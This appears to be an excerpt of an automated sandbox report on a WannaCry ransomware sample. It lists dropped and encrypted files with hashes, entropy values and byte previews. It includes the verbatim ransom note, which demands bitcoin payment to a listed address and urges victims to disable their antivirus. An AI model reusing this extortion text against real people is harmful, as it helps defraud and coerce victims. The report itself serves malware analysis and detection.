                                                                                                      SHA-256:FBE9E0D32D3035CB71862791D64F298D3938DF8520E13F46659BD386AA5BC968
                                                                                                      SHA-512:F51259919AE9E849888797295CDD7419F5FD818DB97EBB1161E309F79F90B14E9B036983CEFABF8A56C763BF393C7CA9DA32A70F96BC717F573FE821C5FA5ECD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.........O.I...P........q....F...MR.3T/..).4..8c.Rp.VS..7..O..d.D..J...#..F.....X7........P...^...6.3,.0.%q.&y..E.m'...?....[...^s..'..7"..g....|,.i..U..l..w..E!#.*..z..g.*m....Z....6.J.\.._.J..1.U.J.:......X.]*.5.~4=..16.{~....rb.+...|p..c...a...-y)...O.hd-VG.-Y- %..1..%.1?....Z.pk._... .v...I"......m%.,6....7q.n../........r=.. .......$...g.k(.......ZU..Z..C C.<=...Lu...4f...1..bv;....< ..`.....$#.L..k..,..W..)......9L?..~y...n..G}.cZL.9..+ ..J.>X.....W...a...~....ty......9...2.".C|....... ..{...}..J<.B..r(..OBc.*j....m.V...E_,.j..-.#.H.9..A[|..FM..g=N.T...-'..P..:'x.{..<%...7.....'...k..6..fE.vL.o.}{.3|...wF,......X.C..|m?...?.M..\....w.$\...$..=~..w..\.).U.Uf...i..$.U.4.W".."..l......x.Lo.C.......-..UJQ...E...t.X.$d....&..W..y}.`....m....,.D8ua.<.%...ln.9..fG[...x.h h....I..........z..'.).Bl?...f!.<..Os. :..>.1.-.@ ... ..1.........[},..&..1.~LJ...J...,..s..6.....<X..`.&+I...[*...-...it..L.[...1.4..f.y.V...8.@./.l.`.Q....

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862586331835133
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkv0/Q49hkjEWfdvd5Q1VRsDknlf2gJBNGFCufnheD2fyX9o+pm/2:bkvb4/WfpAznl/DNGbnhHfyXmImO
                                                                                                      MD5:94F74BAD1527C6D771E7604FCD9DFA93
                                                                                                      SHA1:ADAD58CA177FABABCEA4D31A5CAA1F2B4A57E94B
                                                                                                      SHA-256:FEC507D83CFC24D35F96A8EFE79C9B2FE4BAD0A74A48E8785C906F7B2A10B5E8
                                                                                                      SHA-512:BF064B8BD59DC4FD32BD18FD50BC51B09B23E97ECC5521E25F791DE75F52BB03AE48CFBC8674E9850DB76EC9D0EFDB5516ACF96C2607E8422BB5E484ECF49EFF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....NW.jL.Z..X`.i...... c..!.>DS7u.#...L.c.i..(.6..\.bP\9....5&.G4.(.@e..-r&`.. 2Rgtkj....j.D...<]Jix......=....F..{..G)e~^....Q....h<...}..?^.2b..@!.m.z...Z..(h..l...x..1.W....Z8k3~'..6r.GK.]...z......9.P7.T..<........wU....7C.............LS_...xm...............C.VhF.U....*..g....p...>...6...*=.Q.u*uZ..............*.8;..yQ...}-.W..7.D..."..C[....Rv+ ....Oo.xr.....Y....._.......'S..S.$V.....d.,...&.c,........W..{=..&W..:..A..~.~.. ...7.wQ..B4...A.`UN...h.._$...O#.Ou.*|..J..).'..y...C..g.....T..B...<.).....]ct....R Po.dcim.=.I..G%k..j..G.Y.}Y.......x...&f4uy....N.q:*..!.Nu.......!&L..0.,5.......9..&=....u..........h..".n<..b......ExS.../...K7...X..P....R...+@.fn...Y.`..~.C...y..".U.w....~......1.a....u.C.}.[u.D..M.........1.4...-0N...'...&......uf.......+.N.?..;...4.X.X;..E..O?.J...2U)...0.^eD~4L.B.I.x....(._..W......E..!..A......=.g..1..[L..J....=,2 ..3..;;6......7..*.e......../.k].a.ot...4.y..y...Z..f..U<&....7...*>'.f...D......

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862586331835133
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkv0/Q49hkjEWfdvd5Q1VRsDknlf2gJBNGFCufnheD2fyX9o+pm/2:bkvb4/WfpAznl/DNGbnhHfyXmImO
                                                                                                      MD5:94F74BAD1527C6D771E7604FCD9DFA93
                                                                                                      SHA1:ADAD58CA177FABABCEA4D31A5CAA1F2B4A57E94B
                                                                                                      SHA-256:FEC507D83CFC24D35F96A8EFE79C9B2FE4BAD0A74A48E8785C906F7B2A10B5E8
                                                                                                      SHA-512:BF064B8BD59DC4FD32BD18FD50BC51B09B23E97ECC5521E25F791DE75F52BB03AE48CFBC8674E9850DB76EC9D0EFDB5516ACF96C2607E8422BB5E484ECF49EFF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....NW.jL.Z..X`.i...... c..!.>DS7u.#...L.c.i..(.6..\.bP\9....5&.G4.(.@e..-r&`.. 2Rgtkj....j.D...<]Jix......=....F..{..G)e~^....Q....h<...}..?^.2b..@!.m.z...Z..(h..l...x..1.W....Z8k3~'..6r.GK.]...z......9.P7.T..<........wU....7C.............LS_...xm...............C.VhF.U....*..g....p...>...6...*=.Q.u*uZ..............*.8;..yQ...}-.W..7.D..."..C[....Rv+ ....Oo.xr.....Y....._.......'S..S.$V.....d.,...&.c,........W..{=..&W..:..A..~.~.. ...7.wQ..B4...A.`UN...h.._$...O#.Ou.*|..J..).'..y...C..g.....T..B...<.).....]ct....R Po.dcim.=.I..G%k..j..G.Y.}Y.......x...&f4uy....N.q:*..!.Nu.......!&L..0.,5.......9..&=....u..........h..".n<..b......ExS.../...K7...X..P....R...+@.fn...Y.`..~.C...y..".U.w....~......1.a....u.C.}.[u.D..M.........1.4...-0N...'...&......uf.......+.N.?..;...4.X.X;..E..O?.J...2U)...0.^eD~4L.B.I.x....(._..W......E..!..A......=.g..1..[L..J....=,2 ..3..;;6......7..*.e......../.k].a.ot...4.y..y...Z..f..U<&....7...*>'.f...D......

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.814930770730222
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:jEA8SaXuUJDojhTL5D3TK7z/0qjMdpzgrxs0s:X8Saf0FTL988jgr60s
                                                                                                      MD5:D63A372498B379E9822FE2F182C401F4
                                                                                                      SHA1:B583F61F681E62DBF62A4C370AE0244840348924
                                                                                                      SHA-256:B60DB6D28CC6C33784BB1999319EB7D95E8E8A4F303ED4F72FC179D6365C960B
                                                                                                      SHA-512:8186FDB20B89F0EBEF8C3E42E108B383D3F9ABF890D076B8EBC41FCEA3CD626209C5A186C9BDBD43D767312164EB614CF8313CE29E5F4098F0BF971394E9677A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..J.@t..F.$.H9f;...h...Q.37Y.<t.~%....W. ,f.P.|.9GU.v.!..z.;bD...x...L..!>.r.P....j.[.}..A.A....b....g.....f..D....R.I).......].{.>....k...D...jeM......5.=..3[..|.Rt.1..>...&.#nKnV.4az.....r..@.`.uk..5o..J...C....../&.y..o&....)@...p...^ ...C.o.....UN.c.][Tt....|Nz....E.....e<..".o.P.3ICl.%.W6.#5_FFg."...Y.........9..a..pw....$|...K.8.8.q.0...t.c..hW.9.5.|.5}B..{.5~.....j[Q....Ug..o9#J._$cz....}.Y._.s..R.Z..........]k.....uMco/N...j;e~.mO.]{G..>.:*~....UFI..k....x...6.V5.=2.Ok{.e....../.^.+B.1.)0..rAU..J.CS.t=....qyW......}$.(.]n.g0....n....P}....8+;..y.A...Xe.~../..'..i..ox..~z.eq.b...XwX..7.'..f.6....<c...&RU....._$.C..A.G1..-..m....%.rFE.O...1....mn...E.......I.k..........:e..S.z..L`...../..a~(...Q!..#l...waS>}.....X......\.P<.2..!#..p.....L.0'..;N0.[k\_.....q...]......%..T..:a.].8.^.k.v.....d..........4..;..Io.Wm.K.z;.h.....u.D.`..a..g.....H(..f.S.........sddHZ..`_..`|Z.$c...SNL..=|.:../...4.p...8.G......4..."...CO.....d...^h;...O..{..

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847230876924719
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk3DtvWKtfU6DDCr2nfu3wxvVPN1dPnwXF1EkMzJeECSX0rmejBReAoVzGYqjHzo:bk3DtvW2fFG3wxr1d2FKZ4EfkrmeLRox
                                                                                                      MD5:661DD495467D3CD74FB2045B8E691ADA
                                                                                                      SHA1:420CC564BEF7FB9066BCED8A95E792EF10904B53
                                                                                                      SHA-256:4D960EF03824C41A585BE044C04B29ADE141BBB3C9A1F2A7E6C93C0F88CB814E
                                                                                                      SHA-512:365DC4F32273FDDE1424D09CBCC3B949803C22DC2538EF6F27A47210734A37B5B15CB20A37E23BB5BE199A4A0FCEAFA1ABB14E1386EF8814DC68F8F348825272
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....$....w..^...&.I...M...V.O.]/...A..}..z.7......<.T..Y.. .:%..3..36.2.d..@.]'.f.G.!.....Q.&X..-^;..N..G....:3.........?............*4..xT9...}..a..F.'....zm...$|.o.}c....4..U,..-+.^..z.k..aq....3..&..jn..`..D ....m...t..]E.?=../.J.I...........t5-ik................j...Z.km..C...PY....9..y1..i.|.nlJ...Wp..y.%.F.m....}8.5...(..D...$/6C...._.......*J..&.........s...7.8..m.ZI.E...R.6...E..C.F`..6...b.D..M$....4..k_zt)..n.|$..l....W.}Al..a...........x..uv..`.;^.....j....s,..,.<.!.F....HK..5QK....Y.._`;0.sWuD.F..~Af...5.Gwmh..p...jdt.g......7..#...q...D........=.X....x .........}=7....W'...ydq..'...Br...9..rh..i...Z...........{Db..FPov..S..:.....5..O.....vT......f..Q..*.zp.M3}..u.1A..).....~U.......Q.f......'.I..w.T....).q....J.....8.PB...f/.5...$.Q...gNV.cJ..JEy.......P.|.$g......n.y..x.S.)....,Gu|`6.F.Za.?...m......s..(.0...m.u.. ..`;..}....{..s....Y.i...bo.....}m..*9.N..%.xQ/..j.}..C.x..Q+G.L...C7...>.(..&@v,...,..*C...S.v..K...Iad.1.~...

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847230876924719
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk3DtvWKtfU6DDCr2nfu3wxvVPN1dPnwXF1EkMzJeECSX0rmejBReAoVzGYqjHzo:bk3DtvW2fFG3wxr1d2FKZ4EfkrmeLRox
                                                                                                      MD5:661DD495467D3CD74FB2045B8E691ADA
                                                                                                      SHA1:420CC564BEF7FB9066BCED8A95E792EF10904B53
                                                                                                      SHA-256:4D960EF03824C41A585BE044C04B29ADE141BBB3C9A1F2A7E6C93C0F88CB814E
                                                                                                      SHA-512:365DC4F32273FDDE1424D09CBCC3B949803C22DC2538EF6F27A47210734A37B5B15CB20A37E23BB5BE199A4A0FCEAFA1ABB14E1386EF8814DC68F8F348825272
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....$....w..^...&.I...M...V.O.]/...A..}..z.7......<.T..Y.. .:%..3..36.2.d..@.]'.f.G.!.....Q.&X..-^;..N..G....:3.........?............*4..xT9...}..a..F.'....zm...$|.o.}c....4..U,..-+.^..z.k..aq....3..&..jn..`..D ....m...t..]E.?=../.J.I...........t5-ik................j...Z.km..C...PY....9..y1..i.|.nlJ...Wp..y.%.F.m....}8.5...(..D...$/6C...._.......*J..&.........s...7.8..m.ZI.E...R.6...E..C.F`..6...b.D..M$....4..k_zt)..n.|$..l....W.}Al..a...........x..uv..`.;^.....j....s,..,.<.!.F....HK..5QK....Y.._`;0.sWuD.F..~Af...5.Gwmh..p...jdt.g......7..#...q...D........=.X....x .........}=7....W'...ydq..'...Br...9..rh..i...Z...........{Db..FPov..S..:.....5..O.....vT......f..Q..*.zp.M3}..u.1A..).....~U.......Q.f......'.I..w.T....).q....J.....8.PB...f/.5...$.Q...gNV.cJ..JEy.......P.|.$g......n.y..x.S.)....,Gu|`6.F.Za.?...m......s..(.0...m.u.. ..`;..}....{..s....Y.i...bo.....}m..*9.N..%.xQ/..j.}..C.x..Q+G.L...C7...>.(..&@v,...,..*C...S.v..K...Iad.1.~...

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.815362640305593
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ST6uEIc44tegKQrgOGdDy0Z8N7BPkwyaIarCrcJK6:Y/hr4tegKIgbd3Z+7FhGrqV
                                                                                                      MD5:46EF75CCB1B06EF854C93378BAC82CA9
                                                                                                      SHA1:D4DA898FE50011BEB339F18770FA35A575B5F7C1
                                                                                                      SHA-256:F66C9597ADF366F0D26B75C3547711359CF622758454848BA7D53D5AE66F2659
                                                                                                      SHA-512:6A5B728F9421956B4B246A995165BCA44AA16B22437BDB99E3D93DC5376D34AF6B37B870D8443411F2E58275FF8DFDBA90454C9FC1CF25C1BA2F212F409B1793
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:.FJ.qd.....OM...).l+P|UZq..l...L.q......789&....q.. ..`.....z-.A@.#.{.9..eX....C.q*Z/..z..Os.hr.....+.x.??.%:...zf4.vHNbgf.4m.....!e......kr......2>..'.jL..c.b...tNm.x....:.I."..P.>..]aS...=.~GE/.-H....r..K.U..a.>....'.qf...d;......a...i.......^.9i.aB.y../a(0.n..\.B5<..vV....7...@.BG.../..".V.K_.o.C.]..KoJsX...;.FR|.....n..|>.|......^=.=.d..}.{..\.....G3o..-...X......T.,.v..T..p....x..F.....^.H....>%5$.5....Pj....1............B......K...b."q.iNs.1R.B.........[...=Ev.-o.j..........UB...b....x$...C!..;.-....[...u5./3Er...>..*(#....V.>.iso.(.{....g.....t...&.(L....o..@......0.]/Q....p7[...s.G...<..vj..C.u.v...W..=Pv...67'..._'...M.6.<.......:y.R........oN`*ZF.e..;....3..c......6..w..Q.E..k..{.{m....u..j..>.&..9.Dj.O.....:|...z.fB/?.E...........J..{..Y..'...vTD.b..;....m.......j.../m.X...s...s..Y,...\..[.4.j..`J.(f.a.G..D.5...,..M.....4X).;..'.........Y..6...a...h.;...%..(b.d..b....~x$.>.Iv`9.H.Qgt,.... .adY}{.%-V=.n.1.. D.jL,.......:..0.

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833144464445409
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhPAxGKf6TF/DO4KAGOoPGf4NGWH7Au1WZ9O5eDTS1NWN6cbl3T3at/n:bkh4nCTF/DO4zesWHcu356QNoblD32
                                                                                                      MD5:DBF3A82DBD87C737E8AA9365F9B9855E
                                                                                                      SHA1:70684A2248E6D2ED6971C138EC23FBA479113AA5
                                                                                                      SHA-256:1A06B50F97AEE36447D2020D273C9DF3895484A155988BAFBE013D972E28CF05
                                                                                                      SHA-512:8CF6BE83F9F9D18940781A42DC1E6166E99DEE8E36D848017FB07F1FFDBD7AC2E54092D1D8711D6E9358C1347FC76D0E67047D8DC6C444187357BCDF9DFD0F8C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......#T.....c.....-../.Wg......'s..;..:.."<..........@b.K..&....U%.".^:..>....f;.lmM..p6.m...ue.c...F[.U.{u<.f*...iKWk..;...&x..2<..'x.l2*...&......9E.rda.'.<.........?.c.....]Ifc.F/+....Y..w......?..%].CP.Fd$...q.J<.....5...B0..j.An.p.x...e[.....................L...$....xw@.Ssc...M|.O..O.}..M.u....s.v.....H...3.Tq..u.&R._.H:..c5.:O...............Q.D!X.D...S........m..).&........lt.MaG..v5.......'.....9:...[DE*.........G..=..Ot.%J...&.. s.A..2w..V...........s.s.j.......u.j>th.%|.=.......g....g..hK..K../...xbo.Z......f.e.^.7..........#..~:L.Ht..g-<..m.......Fnvkf..\.0.d.Z...-....kclx..w...........e..#........@.8..8.m..i....!.z.8Z...s.b.pm.g..._.a#..g....4R....%0........oC`}..o..9.(.d.9....tgkg.Uq.*i...f.oH.X.o...../...J....e......w..d.nr......[...|q.9N..I.vAQ.,.pO.I.a..o.sI...7.;..V..(g...I..S.V.6..;Xb.*..Xb...5....F.l........(..e.."..0l..W.....u.P.i..........W..k.b..i.l.....I..F..^..>.)..g..K.;.(o...f.(........8..+.....

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833144464445409
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhPAxGKf6TF/DO4KAGOoPGf4NGWH7Au1WZ9O5eDTS1NWN6cbl3T3at/n:bkh4nCTF/DO4zesWHcu356QNoblD32
                                                                                                      MD5:DBF3A82DBD87C737E8AA9365F9B9855E
                                                                                                      SHA1:70684A2248E6D2ED6971C138EC23FBA479113AA5
                                                                                                      SHA-256:1A06B50F97AEE36447D2020D273C9DF3895484A155988BAFBE013D972E28CF05
                                                                                                      SHA-512:8CF6BE83F9F9D18940781A42DC1E6166E99DEE8E36D848017FB07F1FFDBD7AC2E54092D1D8711D6E9358C1347FC76D0E67047D8DC6C444187357BCDF9DFD0F8C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......#T.....c.....-../.Wg......'s..;..:.."<..........@b.K..&....U%.".^:..>....f;.lmM..p6.m...ue.c...F[.U.{u<.f*...iKWk..;...&x..2<..'x.l2*...&......9E.rda.'.<.........?.c.....]Ifc.F/+....Y..w......?..%].CP.Fd$...q.J<.....5...B0..j.An.p.x...e[.....................L...$....xw@.Ssc...M|.O..O.}..M.u....s.v.....H...3.Tq..u.&R._.H:..c5.:O...............Q.D!X.D...S........m..).&........lt.MaG..v5.......'.....9:...[DE*.........G..=..Ot.%J...&.. s.A..2w..V...........s.s.j.......u.j>th.%|.=.......g....g..hK..K../...xbo.Z......f.e.^.7..........#..~:L.Ht..g-<..m.......Fnvkf..\.0.d.Z...-....kclx..w...........e..#........@.8..8.m..i....!.z.8Z...s.b.pm.g..._.a#..g....4R....%0........oC`}..o..9.(.d.9....tgkg.Uq.*i...f.oH.X.o...../...J....e......w..d.nr......[...|q.9N..I.vAQ.,.pO.I.a..o.sI...7.;..V..(g...I..S.V.6..;Xb.*..Xb...5....F.l........(..e.."..0l..W.....u.P.i..........W..k.b..i.l.....I..F..^..>.)..g..K.;.(o...f.(........8..+.....

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EOWRVPQCCS.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8065289414205585
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:2jRPNH245d0LsPY/T3hPtkl+wEKSESGnEg6ALBc:KRI4w2kT3hKlchZX
                                                                                                      MD5:7F6D40BFFFF5045D6339E4E64506C7D7
                                                                                                      SHA1:4ED6DF140FBCBCFAF78EC50027A635B7B61CB11B
                                                                                                      SHA-256:7F99C9BE477630DB61D95809EAAD33E83D94603095C1914173DB5964B0BE4014
                                                                                                      SHA-512:52BB1C344076A2070A4EA81442CB3EFCDA0ACF5E15A3B95A75AA8537B684BCC688A9EB15AF91AF9E02891FE2C6002EEE3EC8A69F4B74505853DB907D42ACF013
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:N.......#s...\.......j8.. .....WA./XP>P..*..B.X.. .-R...d...P./C.....{fr.K.4..9.v.4.i\.}.G2.>ng.A....,.A...n.n.~....`.....R.o3mP.."..../E*:CP....I..........7W.+.....xw.a...\..N!..&D..a...x......e...q`.....NU...:|u7].k+xDv.\Vh..O(:...;..(.*..LP.................i_.0.}..f..t......kX\.].h?5wb..`~v.*.p..Akyl..H...-o(...A.x.B.4x..nI,....y.."..Cs="...=.4m...@FcJ.0...n3.?J....E.....sC..I.#...?..Z..[.*..w<z%........bp9x.:..X..\..9.I.;n.........?..k.>.E.....{0.q3-.fO....V.=....n...G.x.......;S...'P..D..5.~....0...;...;...._K......_I.W.w..s.7......M...Q.d:......^..0X.A_..'..SL..\$.=6c..BxSPq..;.N3)......O..Yd...........q...8.AU..x|3S.f..(.]..F..%.k....<.RQ...!w'.f 6e..56WzB.Xf...f.......$.Xc1..\KAC.|.,......y.p.....[..r..0..j.....3..B+....8..'-..`.pXe....[../&,...*.s.....x='.<... aa.-.#e.CT%~..K.)t?.e.`..na..0.......#N-........;.#m.Y._....J.H......G.0...8RB...;H.....Q.C...4...X..<M....!..-.."...k#.<."...'!.++VIba...h......pQ3Y..2.2a

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8411144295167
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkJiy57tFLzcSwISk+49NpfZIFe8swHe3SiDz7aw3dfWUchEB3qOILADt/ZjUi0s:bkJi+LzUk+49ues+iIHZRwEB3qOP5BBl
                                                                                                      MD5:046250A9C618184AF9C3C5700CED3E75
                                                                                                      SHA1:79AECAD48A483B847F2D512B0CD930B572E89BF8
                                                                                                      SHA-256:318071AEDBA76EEEE11322FE6D3D2AB21D959B950B79EEE3375D215B18C5A02C
                                                                                                      SHA-512:BA93376A00D9A34591CD9DBEA14397FF9F9E1543441E5DF7EF65311EAF79CA6C666E3B422A88C07C5C1540D4B2F43EE30C6CDB29CF1B38C33B4997AA51C2800E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....X.....`"ZUz....vC......l..s......._.U....8...*.f.g%."....S.m...{..+.^.u.6{...w?2..\gNCX....a..zvF......8..BU%s......X.T..I.."VD...Tha...8.....v.L.`w.~..\h.m.....EE:..:X....\..;i.7..E./.6.h.E.&..S.p..V.n....i...4..,d.,T)......x)...P...-....K.t.....................u.C.Q..DJE.h<.e....8..%.....9...#7D......F6....6......h....*[>.=*."..F.b....L.a.d.kV]...D..6.|>.lq.P}...}I._.G.:.....q.X$.`..M..H..I....%..f...L.`..I'..y.7<).RA...v.......#.nH..(.....pO....[a..l....n..2.N.s64..........d....>...ktc>L..\.C~..B8_\.bfK&O.{WP`.aNf.N..F)".....l..t..4j.V.<u..<.-..T\.O#.v|.Ra..B. ..%..j...2L.n.B.....$M..9....xzH......7yA....mX....Q.f.Q.i3..n......88U..7].z^3..?`.....u.|o.Y....W&. :.KT_..MG.[tvV2..........y^...@...kb.].......F@nU..M.K..*.\Q15..~...?..6X..V.1f )....G..J.!........*U.D.Y...ui:....o...D..a.Cq.%.G.,heH..E....,..]...XY....^.o.u$....d....WB...\iK.....;.b~tK.W.m....t..!&.Tb2y..u.i.s..rf.xZLtE<...V.n.^...r.....c.k..+?..PX.xJ\j../Q.&.NSk..SeA...

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8411144295167
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkJiy57tFLzcSwISk+49NpfZIFe8swHe3SiDz7aw3dfWUchEB3qOILADt/ZjUi0s:bkJi+LzUk+49ues+iIHZRwEB3qOP5BBl
                                                                                                      MD5:046250A9C618184AF9C3C5700CED3E75
                                                                                                      SHA1:79AECAD48A483B847F2D512B0CD930B572E89BF8
                                                                                                      SHA-256:318071AEDBA76EEEE11322FE6D3D2AB21D959B950B79EEE3375D215B18C5A02C
                                                                                                      SHA-512:BA93376A00D9A34591CD9DBEA14397FF9F9E1543441E5DF7EF65311EAF79CA6C666E3B422A88C07C5C1540D4B2F43EE30C6CDB29CF1B38C33B4997AA51C2800E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
